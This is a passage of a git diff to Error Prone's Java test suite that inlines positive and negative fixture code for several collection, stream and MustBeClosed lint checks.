java.util.Map; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author anishvisaria98@gmail.com (Anish Visaria) + */ +public class ModifyCollectionInEnhancedForLoopNegativeCases { + + public static void testBasic(ArrayList arr, HashSet set) { + for (Integer a : arr) { + set.add(a); + set.addAll(arr); + set.clear(); + set.removeAll(arr); + set.retainAll(arr); + } + + for (Integer i : set) { + arr.add(i); + arr.addAll(set); + arr.clear(); + arr.removeAll(set); + arr.retainAll(set); + } + } + + public static void testNested(ArrayList arr, LinkedList list) { + for (Integer x : arr) { + for (Integer y : list) {} + + list.add(x); + list.addAll(arr); + list.clear(); + list.removeAll(arr); + list.retainAll(arr); + } + } + + public static void testBreakOutOfLoop(ArrayList xs) { + for (Integer x : xs) { + xs.remove(x); + return; + } + for (Integer x : xs) { + xs.remove(x); + System.err.println(); + break; + } + } + + public static void testMapKeySet(HashMap map1, HashMap map2) { + for (Integer a : map1.keySet()) { + map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); + map2.clear(); + map2.remove(a); + } + } + + public static void testMapValues(HashMap map1, HashMap map2) { + for (Integer a : map1.values()) { + map2.putIfAbsent(Integer.parseInt("42"), a); + map2.clear(); + map2.remove(Integer.parseInt("42")); + } + } + + public static void testMapEntrySet( + HashMap map1, HashMap map2) { + for (Map.Entry a : map1.entrySet()) { + map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); + map2.clear(); + map2.remove(a.getKey()); + } + } + + private static void concurrent() { + CopyOnWriteArrayList cowal = new CopyOnWriteArrayList<>(); + for (int i : cowal) { + cowal.remove(i); + } + } + + interface MyBlockingQueue extends BlockingQueue {} + + private static void customConcurrent(MyBlockingQueue mbq) { + for (Integer i : mbq) { + mbq.add(i); + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java index dd0a56fa41b..94d9f6e8b5b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifySourceCollectionInStreamTest.java @@ -33,14 +33,198 @@ public class ModifySourceCollectionInStreamTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/ModifySourceCollectionInStreamPositiveCases.java") + .addSourceLines( + "ModifySourceCollectionInStreamPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. + * + * @author deltazulu@google.com (Donald Duo Zhao) + */ +public class ModifySourceCollectionInStreamPositiveCases { + + private final List mutableValues = Arrays.asList(1, 2, 3); + + private void mutateStreamSourceMethodReference() { + + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(mutableValues::remove); + + this.mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(mutableValues::remove); + + getMutableValues().parallelStream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(getMutableValues()::add); + + getMutableValues().stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(this.getMutableValues()::remove); + + ModifySourceCollectionInStreamPositiveCases[] cases = { + new ModifySourceCollectionInStreamPositiveCases(), + new ModifySourceCollectionInStreamPositiveCases() + }; + cases[0].mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + // BUG: Diagnostic contains: + .forEach(cases[0].mutableValues::add); + } + + private List mutateStreamSourceLambdaExpression( + ImmutableList mutableParamList) { + Stream values1 = + mutableParamList.stream() + .map( + x -> { + // BUG: Diagnostic contains: + mutableParamList.add(x); + return x + 1; + }); + + Stream values2 = + mutableParamList.stream() + .filter( + x -> { + // BUG: Diagnostic contains: + mutableParamList.remove(x); + return mutableParamList.size() > 5; + }); + + return Stream.concat(values1, values2).collect(Collectors.toList()); + } + + private List getMutableValues() { + return mutableValues; + } +}""") .doTest(); } @Test public void negativeCasse() { compilationHelper - .addSourceFile("testdata/ModifySourceCollectionInStreamNegativeCases.java") + .addSourceLines( + "ModifySourceCollectionInStreamNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.function.Consumer; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. + * + * @author deltazulu@google.com (Donald Duo Zhao) + */ +public class ModifySourceCollectionInStreamNegativeCases { + + private final List mutableValues = Arrays.asList(1, 2, 3); + + private void mutateStreamSourceMethodReference() { + + List mutableValues = new ArrayList<>(); + mutableValues.stream().map(x -> x + 1).filter(x -> x < 5).forEach(this.mutableValues::add); + + mutableValues.forEach(this.mutableValues::add); + + ModifySourceCollectionInStreamNegativeCases[] cases = { + new ModifySourceCollectionInStreamNegativeCases(), + new ModifySourceCollectionInStreamNegativeCases() + }; + + cases[0].mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .forEach(cases[1].mutableValues::add); + } + + private List mutateStreamSourceLambdaExpression() { + + List localCopy = new ArrayList<>(); + + Stream values1 = + mutableValues.stream() + .map( + x -> { + localCopy.add(x); + return x + 1; + }); + + Stream values2 = + mutableValues.stream() + .filter( + x -> { + localCopy.remove(x); + return mutableValues.size() > 5; + }); + + return Stream.concat(values1, values2).collect(Collectors.toList()); + } + + private void mutateStreamSourceInNonStreamApi() { + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .findAny() + .ifPresent(mutableValues::add); + + mutableValues.stream() + .map(x -> x + 1) + .filter(x -> x < 5) + .findFirst() + .ifPresent(value -> mutableValues.remove(value)); + } + + private void mutateDifferentStreamSource() { + // Mutate a different stream source. + mutableValues.stream().filter(x -> x < 5).collect(Collectors.toList()).stream() + .forEach(mutableValues::remove); + + // Mutate source collection whose stream has been closed. + mutableValues.stream() + .filter(x -> x < 5) + .collect(Collectors.toList()) + .forEach(mutableValue -> mutableValues.remove(mutableValue)); + } + + private void mutateNonCollectionStreamSource(CustomContainer vals) { + vals.stream().map(x -> 2.0 * x).forEach(vals::add); + } + + private void lambdaExpressionAsInitializer(List vals) { + Consumer consumer = x -> vals.remove(x); + } + + private interface CustomContainer { + Stream stream(); + + boolean add(T t); + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java index b2b5bd958c7..e1f5c62aa51 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ModifyingCollectionWithItselfTest.java @@ -33,14 +33,113 @@ public class ModifyingCollectionWithItselfTest { @Test public void positiveCases1() { compilationHelper - .addSourceFile("testdata/ModifyingCollectionWithItselfPositiveCases.java") + .addSourceLines( + "ModifyingCollectionWithItselfPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.List; + + /** + * @author scottjohnson@google.com (Scott Johnson) + */ + public class ModifyingCollectionWithItselfPositiveCases { + + List a = new ArrayList(); + List c = new ArrayList(); + + public void addAll(List b) { + // BUG: Diagnostic contains: a.addAll(b) + this.a.addAll(a); + + // BUG: Diagnostic contains: a.addAll(1, b) + a.addAll(1, a); + } + + public void containsAll(List b) { + // BUG: Diagnostic contains: this.a.containsAll(b) + this.a.containsAll(this.a); + + // BUG: Diagnostic contains: a.containsAll(b) + a.containsAll(this.a); + } + + public void retainAll(List a) { + // BUG: Diagnostic contains: this.a.retainAll(a) + a.retainAll(a); + } + + public void removeAll() { + // BUG: Diagnostic contains: a.clear() + this.a.removeAll(a); + + // BUG: Diagnostic contains: a.clear() + a.removeAll(a); + } + + static class HasOneField { + List a; + + void removeAll() { + // BUG: Diagnostic contains: a.clear(); + a.removeAll(a); + } + + void testParameterFirst(List b) { + // BUG: Diagnostic contains: this.a.removeAll(b); + b.removeAll(b); + } + + void expressionStatementChecks() { + // BUG: Diagnostic contains: ModifyingCollectionWithItself + boolean b = 2 == 2 && a.containsAll(a); + + // BUG: Diagnostic contains: ModifyingCollectionWithItself + b = a.retainAll(a); + + // BUG: Diagnostic contains: ModifyingCollectionWithItself + b = a.removeAll(a); + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ModifyingCollectionWithItselfNegativeCases.java") + .addSourceLines( + "ModifyingCollectionWithItselfNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.List; + + /** + * @author scottjohnson@google.com (Scott Johnson) + */ + public class ModifyingCollectionWithItselfNegativeCases { + + List a = new ArrayList(); + + public boolean addAll(List b) { + return a.addAll(b); + } + + public boolean removeAll(List b) { + return a.removeAll(b); + } + + public boolean retainAll(List b) { + return a.retainAll(b); + } + + public boolean containsAll(List b) { + return a.containsAll(b); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java index 5dccc0b4057..b8a4c320427 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleParallelOrSequentialCallsTest.java @@ -42,22 +42,471 @@ public void setup() { @Test public void positiveCases() { compilationTestHelper - .addSourceFile("testdata/MultipleParallelOrSequentialCallsPositiveCases.java") + .addSourceLines( + "MultipleParallelOrSequentialCallsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().map(m -> m).parallel().parallel(); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().parallel().parallel(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()).sequential(); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel().sequential(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().sequential().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().sequential(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream() + .flatMap(childDir -> list2.stream()) + .parallel() + .flatMap(a -> list2.stream()) + .parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .parallel() + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()) + .parallel(); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") .doTest(); } @Test public void negativeCases() { compilationTestHelper - .addSourceFile("testdata/MultipleParallelOrSequentialCallsNegativeCases.java") + .addSourceLines( + "MultipleParallelOrSequentialCallsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** Created by mariasam on 7/6/17. */ + public class MultipleParallelOrSequentialCallsNegativeCases { + + public void basicCase(List list) { + list.stream().parallel(); + } + + public void basicCaseSequential(List list) { + list.stream().sequential(); + } + + public void basicCaseNotLast(List list) { + list.stream().parallel().findFirst(); + } + + public void middleParallel(List list) { + list.stream().map(m -> m).parallel().filter(m -> m.isEmpty()); + } + + public void otherMethod() { + SomeObject someObject = new SomeObject(); + someObject.parallel().parallel(); + } + + public void otherMethodNotParallel(List list) { + list.stream().filter(m -> m.isEmpty()).findFirst(); + } + + public void streamWithinAStreamImmediatelyAfter(List list) { + list.stream().map(m -> list.stream().parallel()).parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallelBothFirstAndWithin( + List list) { + list.stream().parallel().map(m -> list.stream().parallel()); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallelBoth(List list) { + list.stream().sequential().map(m -> list.stream().parallel()).parallel(); + } + + class SomeObject { + public SomeObject parallel() { + return null; + } + } + }""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(MultipleParallelOrSequentialCalls.class, getClass()) - .addInput("testdata/MultipleParallelOrSequentialCallsPositiveCases.java") - .addOutput("testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java") + .addInputLines( + "MultipleParallelOrSequentialCallsPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().map(m -> m).parallel().parallel(); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().parallel().parallel(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()).sequential(); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel().sequential(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().sequential().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()).parallel(); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream().sequential(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream() + .flatMap(childDir -> list2.stream()) + .parallel() + .flatMap(a -> list2.stream()) + .parallel(); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .parallel() + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()) + .parallel(); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") + .addOutputLines( + "MultipleParallelOrSequentialCallsPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Collection; +import java.util.List; +import java.util.stream.Stream; + +/** + * @author @mariasam (Maria Sam) on 7/6/17. + */ +class MultipleParallelOrSequentialCallsPositiveCases { + + public void basicCaseParallel(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel(); + } + + public void basicCaseParallelNotFirst(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? + list.stream().parallel().map(m -> m); + } + + public void basicCollection(Collection list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? + list.stream().parallel(); + } + + public void parallelStream(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream(); + } + + public void basicCaseParallelThisInMethodArg(List list) { + // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? + this.hello(list.stream().parallel()); + } + + public void onlyOneError(List list) { + this.hello( + // BUG: Diagnostic contains: Multiple calls + list.stream().parallel()); + } + + public void mapMethod(List list) { + // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> + // this.hello(null)));'? + hello(list.stream().parallel().map(m -> this.hello(null))); + } + + public void betweenMethods(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? + list.stream().parallel().map(m -> m.toString()); + } + + public void basicCaseParallelNotLast(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> + // m.toString()).findFirst();'? + list.stream().parallel().map(m -> m.toString()).findFirst(); + } + + public void basicCaseSequential(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? + list.stream().sequential().map(m -> m.toString()); + } + + public void bothSequentialAndParallel(List list) { + // this case is unlikely (wrong, even) but just checking that this works + // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? + list.stream().sequential().parallel(); + } + + public void bothSequentialAndParallelMultiple(List list) { + // this is even more messed up, this test is here to make sure the checker doesn't throw an + // exception + // BUG: Diagnostic contains: Multiple calls + list.stream().sequential().parallel().parallel(); + } + + public void parallelMultipleLines(List list) { + // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() + list.stream().parallel().map(m -> m.toString()); + } + + public void multipleParallelCalls(List list) { + // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? + list.parallelStream(); + } + + public String hello(Stream st) { + return ""; + } + + public void streamWithinAStream(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().flatMap(childDir -> list2.stream()).flatMap(a -> list2.stream()); + } + + public void streamWithinAStreamImmediatelyAfterOtherParallel( + List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.stream().parallel().map(m -> list2.stream().parallel()); + } + + public void parallelAndNestedStreams(List list, List list2) { + // BUG: Diagnostic contains: Did you mean + list.parallelStream() + .flatMap(childDir -> list2.stream()) + .filter(m -> (new TestClass("test")).testClass()) + .map( + a -> { + if (a == null) { + return a; + } + return null; + }) + .filter(a -> a != null) + .flatMap(a -> list2.stream()); + } + + private class TestClass { + public TestClass(String con) {} + + private boolean testClass() { + return true; + } + } +}""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java index ddd65440363..7157796044e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MultipleUnaryOperatorsInMethodCallTest.java @@ -31,14 +31,77 @@ public class MultipleUnaryOperatorsInMethodCallTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java") + .addSourceLines( + "MultipleUnaryOperatorsInMethodCallPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class MultipleUnaryOperatorsInMethodCallPositiveCases { + /** these cases do not have suggested fixes */ + public static void tests(int a, int b) { + + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(a++, a--); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(a--, ++a); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(++a, a++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + twoArgs(--a, --a); + + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(a++, b++, b++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(a++, b, a++); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, b++, --b); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, b); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, a); + // BUG: Diagnostic contains: Avoid having multiple unary operators acting + threeArgs(++a, a++, a--); + } + + public static void twoArgs(int a, int b) {} + + public static void threeArgs(int a, int b, int c) {} + + public static int someFunction(int a) { + return 0; + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java") + .addSourceLines( + "MultipleUnaryOperatorsInMethodCallNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class MultipleUnaryOperatorsInMethodCallNegativeCases { + public static void tests(int a, int b, int[] xs) { + testMethod(a, b); + testMethod(a + 1, b); + testMethod(b, a + 1); + testMethod(a++, b); + testMethod(--a, b); + testMethod(a, b--); + testMethod(a, ++b); + testMethod(xs[0]++, xs[0]++); + } + + public static void testMethod(int one, int two) {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java index 36d90088dc8..741941b5e15 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java @@ -35,19 +35,887 @@ public class MustBeClosedCheckerTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/MustBeClosedCheckerPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "MustBeClosedCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.MustBeClosed; +import java.util.function.Supplier; +import java.util.stream.Stream; + +@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) +class MustBeClosedCheckerPositiveCases { + + class DoesNotImplementAutoCloseable { + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. + DoesNotImplementAutoCloseable() {} + + @MustBeClosed + // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an + // AutoCloseable. + void doesNotReturnAutoCloseable() {} + } + + class Closeable implements AutoCloseable { + + @Override + public void close() {} + + public int method() { + return 1; + } + } + + class Foo { + + @MustBeClosed + Closeable mustBeClosedAnnotatedMethod() { + return new Closeable(); + } + + void sameClass() { + // BUG: Diagnostic contains: + mustBeClosedAnnotatedMethod(); + } + } + + class MustBeClosedAnnotatedConstructor extends Closeable { + + @MustBeClosed + MustBeClosedAnnotatedConstructor() {} + + void sameClass() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + } + + void positiveCase1() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase2() { + // BUG: Diagnostic contains: + Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); + } + + void positiveCase3() { + try { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } finally { + } + } + + void positiveCase4() { + try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + } + + void positiveCase5() { + // BUG: Diagnostic contains: + new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase6() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + + Closeable positiveCase7() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + } + + int existingDeclarationUsesVar() { + // BUG: Diagnostic contains: + var result = new Foo().mustBeClosedAnnotatedMethod(); + return 0; + } + + boolean twoCloseablesInOneExpression() { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); + } + + void voidLambda() { + // Lambda has a fixless finding because no reasonable fix can be suggested. + // BUG: Diagnostic contains: + Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); + } + + void expressionLambda() { + Supplier supplier = + () -> + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod(); + } + + void statementLambda() { + Supplier supplier = + () -> { + // BUG: Diagnostic contains: + return new Foo().mustBeClosedAnnotatedMethod(); + }; + } + + void methodReference() { + Supplier supplier = + // TODO(b/218377318): BUG: Diagnostic contains: + new Foo()::mustBeClosedAnnotatedMethod; + } + + void anonymousClass() { + new Foo() { + @Override + public Closeable mustBeClosedAnnotatedMethod() { + // BUG: Diagnostic contains: + return new MustBeClosedAnnotatedConstructor(); + } + }; + } + + void subexpression() { + // BUG: Diagnostic contains: + new Foo().mustBeClosedAnnotatedMethod().method(); + } + + void ternary(boolean condition) { + // BUG: Diagnostic contains: + int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; + } + + int variableDeclaration() { + // BUG: Diagnostic contains: + int result = new Foo().mustBeClosedAnnotatedMethod().method(); + return result; + } + + void tryWithResources_nonFinal() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + closeable = null; + } finally { + closeable.close(); + } + } + + void tryWithResources_noClose() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: + Closeable closeable = foo.mustBeClosedAnnotatedMethod(); + try { + } finally { + } + } + + class CloseableFoo implements AutoCloseable { + + @MustBeClosed + CloseableFoo() {} + + // Doesn't autoclose Foo on Stream close. + Stream stream() { + return null; + } + + @Override + public void close() {} + } + + void twrStream() { + // BUG: Diagnostic contains: + try (Stream stream = new CloseableFoo().stream()) {} + } + + void constructorsTransitivelyRequiredAnnotation() { + abstract class Parent implements AutoCloseable { + @MustBeClosed + Parent() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + Parent(int i) { + this(); + } + } + + // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed + abstract class ChildDefaultConstructor extends Parent {} + + abstract class ChildExplicitConstructor extends Parent { + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor() {} + + // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed + ChildExplicitConstructor(int a) { + super(); + } + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/MustBeClosedCheckerNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "MustBeClosedCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static org.junit.Assert.fail; +import static org.mockito.Mockito.doReturn; +import static 